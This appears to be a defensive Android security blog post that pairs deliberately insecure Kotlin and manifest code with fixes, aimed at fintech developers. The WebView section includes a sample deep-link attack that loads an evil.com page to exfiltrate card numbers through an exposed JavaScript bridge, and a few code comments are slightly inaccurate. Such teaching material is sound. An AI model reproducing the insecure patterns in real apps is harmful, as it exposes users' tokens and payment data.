8 Security Mistakes Every Android App Ships With — Plaintext Tokens, Exposed API Keys, No Certificate Pinning, Dangerous WebViews, Exported Components, Logcat Secrets, Cleartext Traffic, Missing Root Detection, and the 5-Minute Fix for Each

Your app passed code review. It looks clean. It works perfectly. It handles errors gracefully. And it ships with the auth token stored in plaintext SharedPreferences, the API key hardcoded in strings.xml, no certificate pinning (man-in-the-middle attack surface wide open), WebView JavaScript enabled with no URL whitelist, Activities exported without permissions, and the user's card number logged to Logcat on every transaction.

These aren't hypothetical risks. OWASP's Mobile Top 10 lists insecure data storage and insufficient transport layer protection as the #1 and #3 most exploited vulnerabilities in mobile apps. For fintech apps, these mistakes lead to regulatory fines, user data breaches, and loss of trust. Here are the 8 mistakes I find in almost every Android codebase — and the fix that takes 5 minutes each.

Mistake 1: Storing Secrets in SharedPreferences (Plaintext)

The Attack

SharedPreferences stores data in an XML file at /data/data/com.myapp/shared_prefs/prefs.xml. On rooted devices, any app with root access can read this file. On non-rooted devices, if the user enables ADB backup or the device is compromised, the file is readable.

// ❌ PLAINTEXT on disk — readable with root access or ADB backup
val prefs = context.getSharedPreferences("app_prefs", MODE_PRIVATE)
prefs.edit()
    .putString("auth_token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...")
    .putString("refresh_token", "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4...")
    .putString("user_pin", "1234")
    .putString("card_last_four", "4242")
    .apply()

// FILE ON DISK (shared_prefs/app_prefs.xml):
// <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
// <map>
//     <string name="auth_token">eyJhbGciOiJIUzI1NiIs...</string>
//     <string name="refresh_token">dGhpcyBpcyBhIHJl...</string>
//     <string name="user_pin">1234</string>
//     <string name="card_last_four">4242</string>
// </map>
// ↑ Readable by ANYONE with physical access, root, or backup extraction

The Fix (5 Minutes)

// ✅ EncryptedSharedPreferences — AES-256 encryption at rest
// Values are encrypted BEFORE writing to disk — unreadable without the key

val masterKey = MasterKey.Builder(context)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
    .build()
val securePrefs = EncryptedSharedPreferences.create(
    context,
    "secure_prefs",                                           // File name
    masterKey,                                                 // Encryption key
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,   // Key names encrypted
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM  // Values encrypted
)
// Usage is IDENTICAL to regular SharedPreferences:
securePrefs.edit()
    .putString("auth_token", token)
    .putString("refresh_token", refreshToken)
    .apply()
val token = securePrefs.getString("auth_token", null)
// FILE ON DISK (shared_prefs/secure_prefs.xml):
// <map>
//     <string name="AX2dF3...">kj8nP2mX9...</string>
//     <string name="bQ7rT1...">Lm4wK8pN3...</string>
// </map>
// ↑ Both KEY NAMES and VALUES are encrypted - completely unreadable
// Dependencies:
// implementation("androidx.security:security-crypto:1.1.0-alpha06")
// WHERE THE KEY LIVES:
// The MasterKey is stored in Android Keystore (hardware-backed on most devices)
// Even with root access, the Keystore key can't be extracted
// Decryption only happens through the Keystore API - inside the secure hardware

For Biometric-Bound Secrets (Banking Apps)

// Token can ONLY be decrypted after biometric authentication
val masterKey = MasterKey.Builder(context)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
    .setUserAuthenticationRequired(true)               // Requires biometric/PIN
    .setUserAuthenticationParameters(300, AUTH_BIOMETRIC_STRONG)  // 5-min validity
    .build()
// After 5 minutes of inactivity → key is locked → biometric required again

Mistake 2: API Keys in Source Code or strings.xml

The Attack

APKs are ZIP files. Anyone can download your APK from the Play Store, unzip it, run strings or use jadx/apktool, and extract every hardcoded string — including API keys, secret keys, and internal URLs.

// ❌ In source code — visible after decompilation
object Config {
    const val MAPS_API_KEY = "AIzaSyBxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    const val STRIPE_KEY = "sk_live_xxxxxxxxxxxxxxxxxxxxxxxx"
    const val SENTRY_DSN = "https://xxx@sentry.io/123456"
}

// ❌ In strings.xml - equally visible
<string name="api_key">sk_live_xxxxxxxxxxxxxxxxxxxxxxxx</string>
// ❌ In BuildConfig (still in the APK binary)
buildConfigField("String", "API_KEY", "\"sk_live_xxx\"")
// Better than source code (not in version control) but still extractable from APK

The Fix

// ✅ LEVEL 1: local.properties (keeps keys out of version control)
// local.properties (git-ignored):
MAPS_API_KEY=AIzaSyBxxxxx
STRIPE_KEY=pk_live_xxxxx


// build.gradle.kts:
android {
    defaultConfig {
        manifestPlaceholders["MAPS_API_KEY"] = project.findProperty("MAPS_API_KEY") as? String ?: ""
        buildConfigField("String", "STRIPE_KEY", "\"${project.findProperty("STRIPE_KEY")}\"")
    }
}
// ⚠️ Still in the APK binary after build - but NOT in Git
// ✅ LEVEL 2: Fetch keys from your backend (BEST for secret keys)
// Never put SECRET keys (Stripe sk_live, Firebase server keys) in the app at ALL
// The app requests them from YOUR backend, which authenticates the request first:
suspend fun getPaymentConfig(): PaymentConfig {
    return api.getConfig()  // Backend returns Stripe publishable key after auth
}
// SECRET keys (sk_live_*) should ONLY exist on your backend - never in mobile apps
// ✅ LEVEL 3: NDK (harder to extract, not impossible)
// Store keys in native C code - requires reverse engineering native libraries
// Better than Java strings but determined attackers can still find them
external fun getApiKey(): String
// Only use this for keys that MUST be in the app (like Maps API key)

Mistake 3: No Certificate Pinning (Man-in-the-Middle Risk)

The Attack

Without certificate pinning, your app trusts ANY valid SSL certificate — including certificates issued by an attacker who controls the network (corporate proxy, malicious WiFi, compromised CA). The attacker intercepts ALL traffic between your app and your server, reading tokens, passwords, and financial data in plaintext.

// ❌ Default OkHttp: trusts any valid certificate from any CA
val client = OkHttpClient.Builder().build()
// An attacker with a proxy (like Charles, mitmproxy, or Burp Suite) can:
// 1. Install their CA certificate on the device
// 2. Intercept ALL HTTPS traffic
// 3. Read request/response bodies (tokens, passwords, card numbers)
// 4. Modify responses (change account balances, redirect transfers)

The Fix

// ✅ Pin your server's specific certificate — reject all others
val certificatePinner = CertificatePinner.Builder()
    .add(
        "api.mybank.com",
        "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="  // Primary pin
    )
    .add(
        "api.mybank.com",
        "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB="  // Backup pin (rotate before primary expires)
    )
    .build()


val client = OkHttpClient.Builder()
    .certificatePinner(certificatePinner)
    .build()
// Now: if an attacker intercepts traffic with their own certificate:
// → Certificate doesn't match pins → ConnectionException → request fails
// → Attacker sees NOTHING
// GET THE PIN HASH:
// openssl s_client -connect api.mybank.com:443 | openssl x509 -pubkey -noout | \
//   openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
// ✅ ALTERNATIVE: Network Security Config (XML-based, no code changes)
// res/xml/network_security_config.xml:
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">api.mybank.com</domain>
        <pin-set expiration="2025-12-31">
            <pin digest="SHA-256">AAAAAAA...=</pin>
            <pin digest="SHA-256">BBBBBBB...=</pin>
        </pin-set>
    </domain-config>
</network-security-config>
// AndroidManifest.xml:
<application android:networkSecurityConfig="@xml/network_security_config">
// IMPORTANT: Always have at least 2 pins (primary + backup)
// If your certificate rotates and you only have 1 pin → app can't connect → brick

Mistake 4: WebView with JavaScript and No URL Whitelist

The Attack

If your WebView loads user-provided or dynamically-determined URLs with JavaScript enabled, an attacker can inject a malicious page that runs JavaScript inside your app's WebView — with access to cookies, local storage, and potentially JavaScript interfaces you've exposed.

// ❌ JavaScript enabled on ANY URL — XSS attack surface
class TermsActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        val url = intent.getStringExtra("url") ?: return  // URL from intent — attacker-controlled!


val webView = WebView(this)
        webView.settings.javaScriptEnabled = true
        webView.addJavascriptInterface(PaymentBridge(), "PaymentBridge")  // Exposed to JS!
        webView.loadUrl(url)  // If url = attacker's page → JS can call PaymentBridge methods
    }
}
// Attacker sends a deep link: mybank://webview?url=https://evil.com/steal.html
// steal.html runs: PaymentBridge.getCardNumber() → exfiltrates data

The Fix

// ✅ Whitelist allowed domains — block everything else
webView.webViewClient = object : WebViewClient() {


private val allowedDomains = listOf(
        "mybank.com",
        "cdn.mybank.com",
        "payments.mybank.com"
    )
    override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {
        val host = request.url.host ?: return true  // Block null hosts
        val isAllowed = allowedDomains.any { domain ->
            host == domain || host.endsWith(".$domain")
        }
        return if (isAllowed) {
            false  // Allow navigation
        } else {
            Log.w("WebView", "Blocked navigation to: ${request.url}")
            true   // Block - don't load this URL
        }
    }
    // Also block redirects to non-whitelisted domains
    override fun onReceivedSslError(view: WebView, handler: SslErrorHandler, error: SslError) {
        handler.cancel()  // Never proceed on SSL errors
        // Default: handler.proceed() - accepts invalid certificates!
    }
}
// ✅ Disable JavaScript if not needed
webView.settings.javaScriptEnabled = false  // Most terms/privacy pages don't need JS
// ✅ Never add JavaScript interfaces unless absolutely necessary
// If you must: validate every call, minimize exposed methods

Mistake 5: Exported Components Without Permission Guards

The Attack

An exported Activity, Service, BroadcastReceiver, or ContentProvider can be started by ANY app on the device. If your TransferActivity is exported, a malicious app can start it directly — bypassing your login screen, your auth checks, and your normal navigation flow.

<!-- ❌ Any app can start TransferActivity — no authentication required -->
<activity
    android:name=".feature.transfer.TransferActivity"
    android:exported="true" />


<!-- ❌ Any app can send broadcast to this receiver -->
<receiver
    android:name=".PaymentStatusReceiver"
    android:exported="true" />
<!-- ❌ Any app can bind to this service -->
<service
    android:name=".SyncService"
    android:exported="true" />

The Fix

<!-- ✅ Default: exported=false (Android 12+ enforces this) -->
<activity
    android:name=".feature.transfer.TransferActivity"
    android:exported="false" />
<!-- Only your app can start this Activity -->


<!-- ✅ If it MUST be exported (deep links), require a custom permission -->
<permission
    android:name="com.mybank.permission.TRANSFER"
    android:protectionLevel="signature" />
<!-- signature = only apps signed with YOUR certificate can use this permission -->
<activity
    android:name=".feature.transfer.TransferActivity"
    android:exported="true"
    android:permission="com.mybank.permission.TRANSFER">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <data android:scheme="mybank" android:host="transfer" />
    </intent-filter>
</activity>
<!-- ✅ For BroadcastReceivers that must be exported: -->
<receiver
    android:name=".PaymentStatusReceiver"
    android:exported="true"
    android:permission="com.mybank.permission.PAYMENT_STATUS" />
<!-- ✅ Check in code too (defense in depth): -->



class TransferActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        // Even if the Activity is exported, verify the user is authenticated
        if (!authRepository.isAuthenticated()) {
            startActivity(Intent(this, LoginActivity::class.java))
            finish()
            return
        }
        // Continue with transfer flow...
    }
}

Mistake 6: Logging Sensitive Data to Logcat

The Attack

Logcat is readable by any app on Android 4.0 and below, by ADB on all versions, and by crash reporting tools. If you log tokens, passwords, card numbers, or PII, anyone with ADB access (including automated scanning tools) can extract them.

// ❌ Sensitive data in Logcat — visible via ADB
Log.d("Auth", "Login with token: $token")
Log.d("Payment", "Processing card: $cardNumber, CVV: $cvv, Expiry: $expiry")
Log.i("Transfer", "Sending $amount to IBAN $iban")
Log.e("API", "Request body: ${requestBody.toString()}")  // Contains auth headers!


// $ adb logcat | grep -i "token\|card\|cvv\|password\|iban"
// D/Auth: Login with token: eyJhbGciOiJIUzI1NiIs...
// D/Payment: Processing card: 4242424242424242, CVV: 123, Expiry: 12/26
// ↑ FULL CARD DATA visible to anyone running ADB

The Fix

// ✅ FIX 1: Remove ALL log calls in release with R8
// proguard-rules.pro:
-assumenosideeffects class android.util.Log {
    public static int v(...);
    public static int d(...);
    public static int i(...);
    public static int w(...);
    public static int e(...);
}
// R8 REMOVES every Log.v/d/i/w/e call from release bytecode
// Zero runtime overhead. Zero log output. Zero risk.


// ✅ FIX 2: Use Timber with a release-safe tree
if (BuildConfig.DEBUG) {
    Timber.plant(Timber.DebugTree())
} else {
    Timber.plant(CrashReportingTree())  // Only logs to Crashlytics, never to Logcat
}
class CrashReportingTree : Timber.Tree() {
    override fun log(priority: Int, tag: String?, message: String, t: Throwable?) {
        if (priority >= Log.ERROR) {
            // Only send ERROR and above to crash reporting
            FirebaseCrashlytics.getInstance().log(message)
            t?.let { FirebaseCrashlytics.getInstance().recordException(it) }
        }
        // Debug and info logs → silently dropped
    }
}
// ✅ FIX 3: NEVER log sensitive data, even in debug
Timber.d("Login successful for user ID: ${user.id}")     // ✅ User ID (non-sensitive)
Timber.d("Login successful for email: ${user.email}")    // ❌ PII
Timber.d("Token refreshed successfully")                  // ✅ No token value
Timber.d("Token: $token")                                 // ❌ Token value
Timber.d("Transfer of $amount to account ***${iban.takeLast(4)}")  // ✅ Masked

Mistake 7: Allowing Cleartext (HTTP) Traffic

The Attack

HTTP traffic is unencrypted. Anyone on the same WiFi network (coffee shop, airport, hotel) can see every byte of your app's network traffic — including auth tokens, personal data, and financial transactions.

<!-- ❌ Allows HTTP traffic — all data visible to network sniffers -->
<application android:usesCleartextTraffic="true">
<!-- Some developers add this to "fix" network issues during development
     and forget to remove it before shipping -->

The Fix

<!-- ✅ Disable cleartext traffic entirely -->
<application android:usesCleartextTraffic="false">


<!-- ✅ For fine-grained control (e.g., allow localhost for dev): -->
<application android:networkSecurityConfig="@xml/network_security_config">



<!-- res/xml/network_security_config.xml -->
<network-security-config>
    <!-- Production: HTTPS only -->
    <base-config cleartextTrafficPermitted="false">
        <trust-anchors>
            <certificates src="system" />
        </trust-anchors>
    </base-config>
    <!-- Debug only: allow cleartext for local dev server -->
    <debug-overrides>
        <trust-anchors>
            <certificates src="user" />  <!-- Trust user-installed CAs (for Charles/mitmproxy) -->
        </trust-anchors>
    </debug-overrides>
    <!-- Exception: specific domain that only supports HTTP (rare) -->
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="false">legacy.internal.mybank.com</domain>
    </domain-config>
</network-security-config>

Mistake 8: No Root/Integrity Detection for Financial Apps

The Attack

On rooted devices, any app can read your app's private data directory, intercept system calls, modify your APK at runtime, and bypass security checks. For banking apps, this means an attacker with root can extract tokens, modify transaction amounts, and bypass biometric authentication.

// ❌ App runs identically on rooted and non-rooted devices
// No detection, no warning, no restriction
class TransferActivity : ComponentActivity() {
    // Transfers work exactly the same on a rooted device
    // Where an attacker can intercept the request and change the recipient
}

The Fix

// ✅ Basic root detection (catches most root methods)
object RootDetector {


fun isDeviceRooted(): Boolean {
        return checkSuBinary() || checkBuildTags() || checkSuCommand() || checkRootPackages()
    }
    private fun checkSuBinary(): Boolean {
        val paths = listOf(
            "/system/bin/su", "/system/xbin/su", "/sbin/su",
            "/data/local/xbin/su", "/data/local/bin/su",
            "/system/sd/xbin/su", "/system/app/Superuser.apk"
        )
        return paths.any { File(it).exists() }
    }
    private fun checkBuildTags(): Boolean {
        return Build.TAGS?.contains("test-keys") == true
    }
    private fun checkSuCommand(): Boolean {
        return try {
            Runtime.getRuntime().exec("su")
            true
        } catch (e: Exception) {
            false
        }
    }
    private fun checkRootPackages(): Boolean {
        val rootPackages = listOf(
            "com.topjohnwu.magisk",       // Magisk
            "eu.chainfire.supersu",         // SuperSU
            "com.koushikdutta.superuser",   // Superuser
            "com.noshufou.android.su"       // Another SU app
        )
        val pm = ProcessBuilder("pm", "list", "packages")
        return try {
            val output = pm.start().inputStream.bufferedReader().readText()
            rootPackages.any { output.contains(it) }
        } catch (e: Exception) {
            false
        }
    }
}
// ✅ Use Google Play Integrity API (production-grade, hard to bypass)
// The Play Integrity API verifies:
// - Device is genuine (not emulator, not rooted with bypass)
// - App is genuine (not modified, installed from Play Store)
// - User has a valid Google account
class IntegrityChecker(private val context: Context) {
    suspend fun checkIntegrity(): IntegrityResult {
        return try {
            val integrityManager = IntegrityManagerFactory.create(context)
            val tokenResponse = integrityManager
                .requestIntegrityToken(
                    IntegrityTokenRequest.builder()
                        .setNonce(generateNonce())
                        .build()
                )
                .await()
            // Send token to YOUR backend for verification
            // Backend calls Google's API to decode and verify the token
            // Backend returns: device is genuine / app is genuine / has Play license
            val result = api.verifyIntegrity(tokenResponse.token())
            result
        } catch (e: Exception) {
            IntegrityResult.Unknown
        }
    }
}
// ✅ In-app response to root detection:
@Composable
fun RootCheckScreen(onProceed: () -> Unit) {
    val isRooted = remember { RootDetector.isDeviceRooted() }
    if (isRooted) {
        AlertDialog(
            onDismissRequest = { },  // Can't dismiss
            icon = { Icon(Icons.Default.Warning, null, tint = Color(0xFFEF4444)) },
            title = { Text("Security Warning") },
            text = {
                Text(
                    "This device appears to be rooted or modified. " +
                    "For your security, some banking features may be restricted. " +
                    "We recommend using an unmodified device for financial transactions."
                )
            },
            confirmButton = {
                Button(onClick = onProceed) { Text("Continue anyway") }
            }
        )
        // For high-security apps: Block completely instead of warning
    } else {
        onProceed()
    }
}

Security Checklist

CHECK                                    STATUS    PRIORITY
──────────────────────────────────────────────────────────────
EncryptedSharedPreferences for tokens      □       🔴 Critical
API keys NOT in source code / strings.xml  □       🔴 Critical
Certificate pinning enabled                □       🔴 Critical
Cleartext traffic disabled                 □       🔴 Critical
No sensitive data in logs (R8 rules)       □       🔴 Critical
Components exported=false by default       □       🟡 High
WebView URL whitelist + SSL validation     □       🟡 High
Root/integrity detection (fintech)         □       🟡 High
ProGuard/R8 obfuscation enabled            □       🟠 Medium
Biometric-bound keys for sensitive ops     □       🟠 Medium
Backup disabled for sensitive data         □       🟠 Medium

Connect with Me on LinkedIn

Follow me on LinkedIn

Tags: #Android #Security #CertificatePinning #Encryption #Fintech #Kotlin #OWASP #MobileSecurity #PlayIntegrity #BestPractices